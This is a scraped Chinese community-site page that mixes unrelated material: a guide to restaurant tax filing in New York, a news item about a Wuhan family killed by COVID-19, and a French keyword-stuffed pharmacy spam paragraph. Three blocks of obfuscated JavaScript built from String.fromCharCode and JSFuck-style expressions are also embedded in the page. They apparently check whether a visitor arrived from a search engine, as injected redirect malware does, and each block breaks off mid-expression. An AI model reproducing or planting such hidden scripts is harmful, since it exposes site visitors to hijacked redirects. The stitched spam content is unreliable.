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2020-02-17 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,53,55,57,48,52,51,72,84,77,76,60,34,112,47,63,38,95,43,85,67,119,122,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+(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2020-02-17 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

餐馆报税要小心，别被IRS盯上了！

纽约餐馆报税/报税指南/纽约报税/报税推荐/餐馆报税注意事项

来到美国，朋友给我最多的忠告是：在美国做任何事情，不要存有任何的侥幸心理，千万不要以身试法。

中餐馆是华人移民最常从事的行业之一，开到了世界各地。同时，餐馆也是比较容易被查税的行业，有的老板却抱有侥幸心理，希望可以少缴点儿税。殊不知，被当地税务局盯上，后果很严重！

美国明尼苏达州的中餐馆老板范彤，开了个中餐馆，因为每月少报应纳税营收，面临38项税务诈欺的重罪指控。

每项指控最高可判刑五年和最高1万元罚款。当地检察官办公室首先要求他补交州税、罚款及利息累计逾13万元。

这位华裔老板并不是初犯，他曾有不报税、逃税和被查税的纪录。2012年，他把总额3万元的空头支票开给一家餐馆设备公司而面临重罪指控，认罪后被定轻罪。

抱着侥幸心理的还不少。2018年3月，美国华盛顿州检察长宣布，对一位经营着六家店铺的中餐馆老板提出刑事指控，原因在于他使用非法软件删除现金交易，把560万美元以上的销售税金收入私囊。
这种软件可以让商家窜改或删除现金交易，显示较低的营收，应付的税金也相应变少。目前，美国当局已起诉出售这种软件的一名男子，他被判18个月。

欧洲最近也出现了华人逃税的案子。普拉托一华人女企业家欠国家税务31万欧元，还把几套房子转让避免被抵押，被终审判决一年。

西班牙警方在一案华商家里，缴获了无数捆面值为50、100和500欧元的钞票，涉案总金额超过4000万欧元。

该华人涉嫌在从中国进口商品的过程中偷税漏税，并将大量黑钱匿藏在家中的抽屉，鞋盒，保险箱，车后备箱等地，其藏钱数量之多，藏匿地点之繁杂，令人心惊。

海外华侨华人辛勤打拼不容易，要提醒大家，非法经营、偷税漏税问题不容小觑。如果被盯上，很可能血本无归，付出违法的代价！

唯有彻底抛弃传统的侥幸心理、认真学习与自己经商活动有关的法律，遵纪守法，更高层次地融入主流经济体系，才能继续发展自己的事业。

今天，我们以纽约为例来了解一下餐馆需要申报哪些税，又应该如何准备报税和应对查税呢？

由于行业特点，餐馆生意涉及大量现金收入，且许多受雇于餐馆的服务人员得到的小费收入也颇高，这一行业易受国税局的关注。对于餐馆各种不同来源的收入，报税时应该如何申报，这些都应该被餐馆从业者所关注。

一、餐馆报税时需要缴纳的税金

和其它商业行业一样，餐馆业主也需要缴交某些特定的税种，如所得税、财产税和工人税等等。除此以外，还有以下几项税金需要留意。

小费税(Tips)：依照美国税法，除一般的工薪外，餐馆员工收到客人以信用卡或现金形式付款的小费是需要交税的。员工应向雇主报告所有小费所得，并于每月10号前，在4070税表按天填报后交给餐馆业主，供业主填入员工W-2工资表第七栏中的“小费收入”后提交给IRS。为防止餐馆从业者少报小费收入，国税局设计出小费分配比率(Allocation of Tips)的方式来计算填报的小费收入是否合理。这种计算方式是按餐馆每月总营业额的8%算出餐馆服务人员小费收入总额的合理数字。若餐馆填报的员小费收入低于这一数字，则国税局有可能上门查税。

销售税(Sales Tax)：销售税来源于餐馆业主销售的所有食品和饮料收入所得，可以包含在价格中，也可以将其分列在给顾客的账单中。若餐馆开列的账单中写明了客人的销售税，就应保留好纪录。即使餐馆经营所在的州不对食品征收税，也必须收取销售税。需要注意的是，餐馆购买的商品若是为了餐馆营业用，例如食材等，因为在顾客账单中加了销售税，可以不付使用税；若是资产自用，则必须证明在购买的时候已付使用税。销售税是地方税务的主要收入来源之一，因此也成为了查账的重点关注对象。

酒类牌照税(Liquor Licenses)：如果餐馆持有酒牌，餐厅业主有责任对所售的所有含酒精饮料缴税。

二、如何做好报税准备

整理所有文件：餐厅业主最好将所有报税相关的资料单据按照日期和类别(如食品、用品、交通等)进行分类整理，把以前的地方和联邦税务报表打印出来作为日后参考，留存必要的税务记录和员工记录，并在报税时提供所有重要的企业文件。提供越多的信息，越有条理的资料分类，报税的过程就越简单。

决定报税方式：不同的方法适用于不同的人。对于不熟悉美国税法的餐馆业主，聘请税务律师或注册会计师，既可以节省报税的时间，也可以大大减少漏税的风险。

填写正确的表格：填写正确的表格是非常重要的。若餐馆业主不能确定需要填写的表格，可以通过税务律师或注册会计师进行了解。因为需要填写的纳税表格类型取决于企业运营方式。一般的中小规模餐馆属于独资企业，餐馆业主可以填写并提交附表C(Schedule C)。此外，前文提到餐馆业主要对员工所收的小费交税，则需要填写表格4070。建议餐馆业主在填写表格之前做好了解，避免报税时的混乱。

保存单据：虽然现在许多餐馆已将数据录入计算机，销售数字明确，但也有不少家庭式小餐馆仍用手写账单，就必需注意保留纪录，以备查税。最好是在本年度报税完成后，将记录保存7年。另外，所有必要的文件和单据，如餐馆铺面租赁合同、大件商品的购买收据、银行月结单等，都必须保存完整。有时餐馆业主为了节省当前开支而没有处理好税务，被国税局查税，可能会遭受更大的损失，而且不利于将来通过借贷进一步发展餐馆规模。因此在报税时，餐馆业主应如实缴交各项税金，并保存好单据。

三、若单据丢失或单据不全怎么处理

很多被查税的餐馆业主都会遇到相似的情况，由于进货便宜或者方便，而没有选择从大型的、有系统的供货商进货，因此并没有单据可供保留。不少餐馆业主直接通过现金方式进货，更是无据可寻。因此，在税局查税时，许多餐馆业主无法提供相关的单据和资料。在遇到这种情况时，就需要咨询有经验的税务律师和会计师，请求帮忙合理的解释和相应的辩护。

四、餐馆被查税应该怎么办

餐馆老板应该注意保存以下记录：每日营业报告、支票登记、银行帐单以及所有发票和收据。如果不留记录的话，税务部门也会透过分析计算出餐馆的销售额，估计和重建帐目。

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2020-02-17 / 1 Comment / by davidhorgan479 / in 律师/移民/金融, 理财/报税, 移民生活

人间悲剧！染肺炎医院无床位湖北导演一家4人魂断武汉

由中国武汉爆发的肺炎来势汹汹，中共官方最初瞒报导致疫情不断扩大。近日湖南导演常凯的遗书在网络引发诸多讨论。常凯一家4人都死于新冠肺炎，他在遗书中讲述自己父亲染病后遭医院拒收，最后家中4人全部染病死亡，仅留下一个在英国的儿子，令人嘘唏不已。

据财新网报导，常凯是湖北电影製片厂音像部对外联络部主任，也是导演。1月25日大年初一，常凯的父亲出现武汉肺炎感染症状，发烧咳嗽，呼吸困难，但到多家医院求诊均被告知没有床位接收，无奈回家自救。

常凯父亲数天后就病重去世。红星新闻引述湖北电影製片厂中工作人员表示，常凯对他们说，父亲2月3日凌晨在家中去世，在此之前的2月2日，社区曾派医生去他们家看过常父，但由于病情发展太快，十几个小时后就去世了。

常凯母亲随后在2月4日，被收治进武昌医院，于2月8日去世。

常凯与姊姊一起照顾父母，也双双染病。常凯2月4日开始出现不适症状，2月9日傍晚7时5分被收治进黄陂区人民医院。2月14日凌晨，常凯不治，紧接著当天下午，常凯的姊姊也去世。

报导引述常凯的大学同学表示，常凯在去世前写下遗言讲述求医难，并称他与妻子都遭冠状病毒感染，「辗转诸家医院哀求哭拜，怎奈位卑言轻，床位难觅，直至病入膏肓，错失医治良机，奄奄气息之中，广告亲朋好友及远在英伦吾儿：我一生为子尽孝，为父尽责，为夫爱妻，为人尽诚！永别了！我爱的人和爱我的人。」

不到一个月，这个家庭相继有4人去世。目前，常凯妻子病情不明。不少网民留言评论，「愿逝者安息，生者坚强」、「等他儿子回国面对的是4个骨灰盒……这画面太残忍了」。

2020-02-17 / by beibei / in 医疗健康, 新闻

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2020-02-17 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

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Note 4.6 étoiles, basé sur 94 commentaires.

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2020-02-16 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,55,57,56,51,52,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,80,44,58,37,122,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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2020-02-16 / by _9527 / in GMAT/GRE, SAT/ACT, 其它, 留学/教育/求职

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merci stf_frmu Messages postés 26265 Date d’inscription mercredi 22 février 2012 Statut Modérateur Dernière intervention 24 octobre 2019 3342 – 16 mars 2013 à 223 j’ai testé ma piscine pour le chlore cela me dit qu’il n’y a plus de chlore alors que j’en ai mis ça marche bien pour le ph je ne comprends pas pourquoi cela indique qu’il n’y a pas de chlore quelqu’un pourrait me répondre !!!!merci je viens de prendre connaissance de vos conseils et nous avons un problème “de taille” puisque nous avions une eau Si vous êtes manuel, vous pouvez le faire vous-même après vous être renseigné sur la manière de faire. Le sang comporte différents types de cellulesles globules rouges, les globules blancs et les plaquettes. Vous pouvez télécharger les produits Office 2010à condition de disposer dune clé de produit Office 2010 valide. L’objectif de glycémie est HbA1c 7 .Lett. Vous avez besoin dune assurance emprunteur. Ok En savoir plus Ce chiffre est peut-être plus vraisemblablement exact que tous les autres chiffres puisqu’il provient de la« Cialis Pharmacie en Ligne Pas Cher France scientifique» qui est supposément menée indifféremment de la Cialis Pharmacie en Ligne Pas Cher France. Région française prisée par les vacanciers, la Bretagne est connue pour ses paysages variés qui changent en fonction des saisons et des marées, pour ses charmants villages dans lesquels il fait bon flâner ainsi que pour ses villes où sa culture reste affirmée. Et notamment ce manteau Du Pareil Au Même porté une fois ou deux par sa précédente propriétaire, acheté pour la modique somme de 0,50. Les chercheurs utilisent à présent la technologie des cellules souches pour explorer de nouvelles approches possibles pour traiter la perte de vision.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,50,55,56,113,122,72,84,77,76,60,34,48,112,47,63,38,95,43,85,67,119,44,58,37,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]